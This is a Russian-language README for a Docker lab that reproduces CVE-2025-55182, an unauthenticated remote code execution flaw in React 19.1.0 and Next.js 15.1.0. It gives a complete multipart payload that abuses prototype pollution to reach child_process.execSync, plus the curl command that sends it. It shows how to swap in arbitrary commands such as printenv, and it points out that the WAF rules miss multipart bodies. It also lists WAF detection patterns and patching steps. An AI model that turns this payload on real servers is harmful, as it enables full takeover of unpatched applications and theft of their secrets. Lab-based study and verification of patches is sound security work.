
Docker-лаборатория для тестирования уязвимости CVE-2025-55182 (React2Shell) RCE в React 19.1.0/Next.js 15.1.0. Включает эксплойт-скрипты, тестирование обхода WAF с NGINX/ModSecurity и сравнение с исправленной версией для образовательных целей по безопасности.
⚠️ Предупреждение: Содержит реально работающую уязвимость удаленного выполнения кода (RCE).
Контейнерная тестовая среда для уязвимости CVE-2025-55182 (React2Shell).
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
Оценка CVSS: 10.0 (CRITICAL)
Влияние: удаленное выполнение кода (RCE)
Требование аутентификации: нет
Вектор атаки: сеть
$1:__proto__:then$B)child_process// Структура полезной нагрузки атаки
{
"then": "$1:__proto__:then", // Загрязнение Object.prototype.then
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // Триггер десериализации Blob
"_response": {
"_prefix": "вредоносный_код", // Выполняемый код
"_formData": {
"get": "$1:constructor:constructor" // Доступ к конструктору функции
}
}
}
Windows (PowerShell):
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
Необходимо дождаться статуса healthy для всех контейнеров (занимает около 1-2 минут).
Windows (PowerShell):
# Способ 1: использование PowerShell-скрипта (рекомендуется)
.\tests\exploit-working.ps1
# Способ 2: прямой запуск Node.js
node tests\exploit-working.js
### Шаг 4: Проверка результатов
Результаты выполнения команд можно увидеть в логах сервера:
```bash
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ РекомендуетсяWindows:
# PowerShell-скрипт (рекомендуется)
.\tests\exploit-working.ps1
# Или прямой запуск Node.js
node tests\exploit-working.js
Выполняемые действия:
Тестируемые команды:
whoami - текущий пользователь (root)hostname - имя хоста контейнераpwd - рабочая директория (/app)id - полная информация о пользователеuname -a - информация о системеnode --version - версия Node.js# Создание файла с полезной нагрузкой
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# Отправка атаки
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# Проверка выполнения в логах
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
Вы можете изменить скрипт атаки для выполнения нужных команд:
// В файле exploit-working.js:
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: 'Список директории приложения' },
{ name: 'env', cmd: 'printenv', desc: 'Вывод переменных окружения' }
]
# Запуск работающей атаки
node tests/exploit-working.js
# Ожидаемый результат: успешное выполнение команд
# Вывод: информация о пользователе, детали системы и т.д.
Windows (PowerShell):
# Использование PowerShell-скрипта
.\tests\exploit-working.ps1 -Port 3001
Ожидаемый результат: атака не удалась (React 19.1.2 блокирует атаку)
Windows (PowerShell):
# Попытка атаки через NGINX WAF
.\tests\exploit-working.ps1 -Port 8080
Ожидаемый результат: заблокировано правилами WAF
Расположение: nginx/nginx.conf
Шаблоны обнаружения:
__proto__, constructor:constructor$X:__proto__, $Bchild_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructorДействие при блокировке:
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}
Расположение: apache/modsecurity-rules.conf
Диапазон ID правил: 100001-100017
Основные правила:
__proto__# Тест блокировки NGINX
curl -X POST http://localhost:8080/ \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": true}}'
# Ожидаемый ответ: HTTP 403
# Тест блокировки ModSecurity
curl -X POST http://localhost:8081/ \
-H "Next-Action: test#constructor" \
-d '{"data": "test"}'
# Ожидаемый ответ: HTTP 403
# Логи безопасности NGINX
docker compose exec nginx tail -f /var/log/nginx/security.log
# Логи аудита Apache ModSecurity
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log
Важно: Текущая конфигурация WAF имеет следующие ограничения:
multipart/form-data и не обнаруживаетсяNext-Action, который сам по себе не обеспечивает достаточной защитыРеальная защита от атак:
cve-2025-55182-test-lab-windows/
├── README.md # README
├── docker-compose.yml # Конфигурация Docker-среды
├── run-tests.ps1 # Скрипт запуска для Windows
├── run-tests.sh # Скрипт запуска для Linux/Mac
│
├── vulnerable-app/ # Приложение с уязвимой версией
│ ├── Dockerfile
│ ├── package.json # React 19.1.0, Next.js 15.1.0
│ ├── next.config.js
│ ├── app/
│ │ ├── layout.js # Базовый макет
│ │ ├── page.js # Главная страница
│ │ └── api/
│ │ └── health/ # Эндпоинт проверки здоровья
│ │ └── route.js
│ └── tests/
│
├── patched-app/ # Приложение с исправленной версией
│ ├── Dockerfile
│ ├── package.json # React 19.1.2, Next.js 15.1.9
│ ├── next.config.js
│ └── app/
│ ├── layout.js
│ ├── page.js
│ └── api/
│ └── health/
│ └── route.js
│
├── tests/ # Скрипты атак
│ ├── exploit-working.js # RCE-атака (Node.js)
│ ├── exploit-working.ps1 # RCE-атака (PowerShell)
│ └── exploit-working.cmd # RCE-атака (пакетный файл)
│
├── nginx/ # Настройка NGINX WAF
│ ├── nginx.conf # Правила блокировки CVE-2025-55182
│ └── nginx-patched.conf # Настройка прокси
│
└── apache/ # Настройка Apache ModSecurity
├── Dockerfile
├── apache-config.conf
└── modsecurity-rules.conf # Правила блокировки ModSecurity
Скрипт атаки отображает результаты напрямую:
[whoami] Sending exploit...
✅ SUCCESS! Output: root
# Мониторинг логов в реальном времени
docker compose logs -f vulnerable-app
# Что нужно проверить:
# [EXPLOIT] Executing: whoami
# [RESULT] root
# Проверка, была ли выполнена атака
docker compose exec vulnerable-app ps aux | grep node
# Проверка изменений в файловой системе (если файл был создан)
docker compose exec vulnerable-app ls -la /tmp
Обновление React - установка версии 19.1.2 или выше:
npm install react@^19.1.2 react-dom@^19.1.2
Обновление Next.js - установка версии 15.1.9 или выше:
npm install next@^15.1.9
Пересборка и повторное развертывание:
npm run build
# Развертывание в рабочей среде
Windows (PowerShell):
# Тестирование с исправленной версией
.\tests\exploit-working.ps1 -Port 3001
# Или
$env:TARGET_PORT=3001; node tests\exploit-working.js
Linux/Mac:
# Тестирование с исправленной версией
TARGET_PORT=3001 node tests/exploit-working.js
Пример результата: ℹ️ Exploitation failed
# Запуск
.\run-tests.ps1 start
# Проверка состояния
.\run-tests.ps1 status
# Просмотр логов
.\run-tests.ps1 logs
# Остановка
.\run-tests.ps1 stop
# Сброс (удаление всех контейнеров и томов)
.\run-tests.ps1 clean
Windows (PowerShell):
# 1. Проверка версий
docker compose exec vulnerable-app npm list react next
# Должно отобразиться:
# [email protected]
# [email protected]
# 2. Проверка ответа сервера
curl http://localhost:3000
# 3. Проверка логов Docker
docker compose logs vulnerable-app --tail=50
# 4. Перезапуск контейнера
docker compose restart vulnerable-app
Windows (PowerShell):
# Фильтрация логов в PowerShell
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"
Симптом ошибки:
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...
Решение:
docker psСимптом ошибки:
Невозможно выполнить сценарий в этой системе...
Решение:
# Применяется только к текущей сессии
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# Или прямой запуск
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1
Убедитесь, что Docker запущен и у вас есть права:
Все платформы:
docker compose ps
Если другие приложения используют порты:
Windows (PowerShell):
# Проверка процесса, использующего порт
netstat -ano | findstr :3000
# Завершение процесса (после определения PID)
taskkill /PID <PID> /F
Все платформы (изменение docker-compose.yml):
# Изменение портов для устранения конфликта
services:
vulnerable-app:
ports:
- "3010:3000" # изменение с 3000 на 3010
Все платформы:
# Проверка конфигурации NGINX
docker compose exec nginx nginx -t
# Проверка конфигурации Apache
docker compose exec apache apachectl configtest
# Просмотр логов
docker compose logs nginx --tail=30
docker compose logs apache --tail=30
Этот проект предоставляется в образовательных целях и для исследований в области безопасности.
Ограничения использования:
| Порт | Сервис | Версия React | Назначение | Статус WAF |
|---|
| 3000 | vulnerable-app | 19.1.0 | Уязвимый - тестирование CVE-2025-55182 | ❌ Без защиты |
| 3001 | patched-app | 19.1.2 | Безопасный - проверка исправления | ✅ Исправлен |
| 8080 | nginx → vulnerable | 19.1.0 | Тестирование WAF (NGINX) | ⚠️ Ограниченно (тело не проверяется) |
| 8081 | apache → vulnerable | 19.1.0 | Тестирование WAF (ModSecurity) | ⚠️ Ограниченно (ответ 405) |
| 8082 | nginx → patched | 19.1.2 | Тестирование двойной защиты | ✅ Исправлен |